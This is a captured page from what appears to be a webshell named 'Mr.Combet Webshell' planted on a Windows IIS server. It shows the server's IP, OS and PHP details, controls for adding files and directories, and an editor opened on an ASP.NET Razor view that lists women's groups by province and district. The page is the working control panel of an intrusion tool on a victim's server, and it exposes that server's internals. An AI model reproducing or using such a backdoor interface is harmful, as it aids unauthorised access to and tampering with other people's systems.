Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
GALSGroup
/
Edit File Name :
_femaleGroupList.cshtml
@using PagedList.Mvc; @using RER_Project.BusinessLayer.BusinessService @model PagedList.IPagedList<RER_Project.DataAccess.Functions.FnGroupList> @{ var meta = AppUserService.GetCurrent(); int currentPage = Convert.ToInt32(Request.QueryString["page"].ToString()); } @*<div class="row"> <div class="col-lg-12"> <div class="pull-left"> Note: <i style="color:orange;padding-bottom:10px;" title="InComplete GALS " class="fa fa-female"></i> : <strong>GALS Member Partially or Not Selected Yet in Group</strong> <br /> <i style="color:green;margin-left:34px" title="Completed GALS" class="fa fa-female"></i> : <strong>Has GALS Member Completely Selected in Group</strong> </div> </div> </div>*@ <div class="row"> <div class="col-lg-12"> <div class="pull-left"> Note: <i style="color:orange;padding-bottom:10px;" title="InComplete GALS " class="fa fa-female"></i> : <strong>GALS Member Partially or Not Selected Yet in Group</strong> <i style="color:#0162ed;margin-left:34px" title="Completed GALS" class="fa fa-female"></i> : <strong>Has GALS Member Completely Selected in Group</strong> <i style="color:green;margin-left:34px" title="Completed Fill Form By M&E" class="fa fa-female"></i> : <strong>Completely Fill</strong> <i style="color:#70CED0;margin-left:34px" title="Completed Fill Form By M&E" class="fa fa-female"></i> : <strong>Partially Filled</strong> <i style="color:orange;margin-left:34px" title="Completed Fill Form By M&E" class="fa fa-female"></i> : <strong>Not Filled</strong> </div> </div> </div> <div class="table table-responsive table-striped table-hover table-bordered"> <table class="table table-striped" id="groupListTable"> <thead> <tr> <th>SN. </th> <th>Province</th> <th>District</th> <th>Palika</th> <th>Group Name </th> <th>Commodity</th> <th style="white-space:nowrap;"># of Female Member</th> <th style="white-space:nowrap;"># of Member</th> <th style="white-space:nowrap;"># of Beneficiary</th> <th style="white-space:nowrap;">Status</th> </tr> </thead> <tbody> @{ int serialNo = 1; } @foreach (var item in Model) { <tr> <td> <label> @((currentPage - 1) * 10 + @serialNo)</label> @{ serialNo++; } </td> <td style=" white-space: nowrap; "> @item.province_name </td> <td>@item.district_name</td> <td style="white-space:nowrap;">@item.municipality_name</td> <td style="white-space:nowrap;">@item.group_name</td> <td>@item.commodity_type_name</td> <td style="text-align: center;"> @item.total_female_count </td> <td title="Click to View" style="text-align:center;"> <center> @item.total_member</center> <br /> </td> <td style="text-align:center;"> @item.beneficiaies_no @item.total_female_count @item.feasible_gals_member_count @item.is_group_gals_complete </td> <td style="text-align:center;"> <div class="GalOfficerWorkStatus"> @{ var colr = "green"; var galStatus = "present"; } @if (item.is_group_gals_complete == false) { colr = "dodgerblue"; galStatus = "disabled"; <a href="/gals_questions_answers/possiblemembers/@item.group_id"> <p style="padding: 2px"> <i style="color:orange" title="No GALS Member" class=" btn btn-default btn-xs fa fa-female"></i></p> </a> } else { <a href="/gals_questions_answers/possiblemembers/@item.group_id"><p style="padding: 2px" title="Click To View GALS Member"> <i style="color:#0162ed" class=" btn btn-default btn-xs fa fa-female"></i></p></a> } </div> <div class="MneOfficerWorkStatus"> @if (item.feasible_gals_member_count == 0) { <a href="/gals_questions_answers/possiblemembers/@item.group_id"> <p style="padding: 2px"> <i style="color:orange" title="No GALS Member" class=" btn btn-default btn-xs fa fa-female"></i></p> </a> } else if (item.total_gals_form_filled != item.feasible_gals_member_count) { <a href="/gals_questions_answers/possiblemembers/@item.group_id"> <p style="padding: 2px"> <i style="color:#70CED0" title="No GALS Member" class=" btn btn-default btn-xs fa fa-female"></i></p> </a> } else if ((item.total_gals_form_filled == item.feasible_gals_member_count && item.is_group_gals_complete.ToString().ToLower() == "true")) { <a href="/gals_questions_answers/finalizemembers/@item.group_id"> <p style="padding: 2px"> <i style="color:green" title="No GALS Member" class=" btn btn-default btn-xs fa fa-female"></i></p> </a> } </div> </td> </tr> } </tbody> </table> <div align="center"> @if (Model.Count > 0) { @Html.PagedListPager(Model, page => Url.Action("FemaleGroups", new { page, groupName = ViewBag.GroupName, province = ViewBag.Province, district = ViewBag.District, municipality = ViewBag.Municipality, commodity = ViewBag.Commodity, status = ViewBag.GALStatus }), PagedListRenderOptions.ClassicPlusFirstAndLast) } </div> </div> <script type="text/javascript"> @*var galsCompleteStatus = '@ViewBag.GALStatus'; var mneCompleteStatus = '@ViewBag.GroupWiseStatus'; alert(mneCompleteStatus) alert(galsCompleteStatus) if ((mneCompleteStatus === '' && galsCompleteStatus === '0') || galsCompleteStatus ==='') { $('.GalOfficerWorkStatus').show(); $('.MneOfficerWorkStatus').hide(); } else if (mneCompleteStatus !== '') { $('.GalOfficerWorkStatus').hide(); $('.MneOfficerWorkStatus').show(); }*@ function finalizeGroup(id, name) { WorkForce.loader.show(); let conf = confirm(`Are you sure you want to finalize '${name}' group ?`); if (!conf) { WorkForce.loader.hide(); return; } else { var ajax = request(id); ajax.done(function (response) { WorkForce.loader.hide(); if (response) { ShowMessage("success", "This group has been finalized."); location.reload(); } else { ShowMessage("error", "No. of member created should be equal to No. of beneficiaries."); location.reload(); } }); ajax.fail(function (xhr) { WorkForce.loader.hide(); ShowMessage("Error", xhr.responseText); }); } } function request(id) { const url = "/group/finalize"; const data = JSON.stringify({ Id: id }); console.log(window.getAjaxRequest(url, "POST", data)) return window.getAjaxRequest(url, "POST", data); } </script> <style> table td, th { border: 1px solid #e7eaec; } </style>
Save